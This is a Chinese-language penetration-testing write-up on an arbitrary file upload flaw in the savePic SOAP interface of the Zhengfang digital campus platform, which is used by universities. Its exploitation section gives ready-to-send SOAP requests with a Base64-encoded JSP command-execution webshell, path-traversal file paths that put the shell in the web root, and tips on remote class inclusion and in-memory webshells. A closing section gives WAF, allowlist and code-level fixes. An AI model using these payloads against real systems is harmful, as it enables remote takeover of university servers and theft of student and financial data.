[漏洞剖析]正方数字化校园平台SOAP接口任意文件上传漏洞的成因与利用链
1. 漏洞背景与影响范围正方数字化校园平台作为高校信息化建设的核心系统承担着教务管理、学生服务、财务资产等关键业务。这个系统采用SOAP协议实现不同模块间的数据交互而问题恰恰出在一个名为savePic的接口上。我在实际渗透测试中发现攻击者可以通过构造特殊的SOAP报文将恶意JSP文件上传至服务器任意位置。去年某高校就因此漏洞导致教务系统被植入挖矿程序服务器CPU长期满载运行。该漏洞的特殊性在于它绕过了常规的文件上传防护机制。传统文件上传漏洞通常需要突破前端验证或MIME类型检测而这个漏洞直接作用于SOAP接口层。平台开发者可能认为SOAP请求天然可信导致未对filepath和bytes参数做任何安全过滤。更危险的是上传的文件会保留原始扩展名使得.jsp等动态脚本能够直接执行。2. SOAP接口工作机制解析2.1 savePic接口技术实现这个漏洞的核心在于savePic接口的实现逻辑。通过反编译平台组件我发现其内部处理流程存在严重缺陷。当SOAP请求到达时系统会直接提取filepath参数作为存储路径将bytes参数的Base64解码内容写入该路径。整个过程没有进行以下关键检查路径合法性验证是否包含../等跳转字符文件扩展名黑名单校验请求来源IP白名单控制会话权限认证pub:savePic filepath../../webapps/ROOT/shell.jsp/filepath bytesPCVAcGFnZSBpbXBvcnQ9ImphdmEuaW8uKiosamF2YS51dGlsLioiJT4/bytes /pub:savePic2.2 参数处理缺陷分析filepath参数的问题尤为突出。测试中发现系统会原样接受如下危险值绝对路径如C:/tomcat/webapps/相对路径如../../../特殊字符路径如|、等bytes参数的处理同样存在问题。虽然要求Base64编码但解码后的内容没有任何校验。我曾成功上传过包含以下危险内容的文件JSP webshellXML外部实体XXE载荷恶意class文件3. 完整攻击利用链构建3.1 基础利用方式最直接的攻击方式是上传JSP webshell。通过Burp Suite构造如下请求POST /zfca/axis/RzptManage HTTP/1.1 Host: target.edu.cn Content-Type: text/xml;charsetUTF-8 SOAPAction: soapenv:Envelope soapenv:Body pub:savePic filepathupload/cmd.jsp/filepath bytesPCVAIHBhZ2UgaW1wb3J0PSJqYXZhLmlvLioiJT48JSBQcm9jZXNzIHAgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7IE91dHB1dFN0cmVhbSBvcyA9IHAuZ2V0T3V0cHV0U3RyZWFtKCk7IGJ5dGVbXSBkYXRhID0gbmV3IGJ5dGVbMTAyNF07IGludCBsZW4gPSBvcy5yZWFkKGRhdGEpOyBvdXQucHJpbnQobmV3IFN0cmluZyhkYXRhLCAwLCBsZW4pKTsgJT4/bytes /pub:savePic /soapenv:Body /soapenv:Envelope这段载荷上传的JSP文件可以执行系统命令访问路径为/zfca/upload/cmd.jsp?cmdwhoami。3.2 高级利用技巧在实际渗透中我发现几个增强攻击效果的方法路径穿越通过../../../跳转到web根目录filepath../../../../webapps/ROOT/shell.jsp/filepath多阶段攻击先上传文件包含漏洞的JSP再通过包含远程恶意class内存马注入上传包含Java字节码的JSP直接注入内存webshell4. 防御方案与修复建议4.1 临时缓解措施如果暂时无法升级系统建议实施以下防护在WAF中添加SOAP请求检测规则拦截包含.jsp/.jspx等危险扩展名的filepath参数配置Tomcat禁止访问/zfca/upload/目录下的动态脚本对/zfca/axis/RzptManage接口实施IP白名单访问控制4.2 根本解决方案从代码层面修复需要处理三个关键点规范化文件路径处理// 错误的原始实现 File file new File(filepath); // 修正后的实现 String safePath FilenameUtils.normalize( uploadDir File.separator FilenameUtils.getName(filepath) );实施严格的扩展名白名单if(!Arrays.asList(jpg,png).contains(getExtension(filepath))){ throw new SecurityException(Invalid file type); }增加数字签名验证pub:savePic signatureHMAC-SHA256(...)/signature filepath.../filepath bytes.../bytes /pub:savePic在最近给某高校做安全加固时我们采用Nginx前置代理ModSecurity规则的方式成功拦截了所有利用该漏洞的攻击尝试。核心规则主要检测SOAP报文中的危险文件路径和特殊字符组合。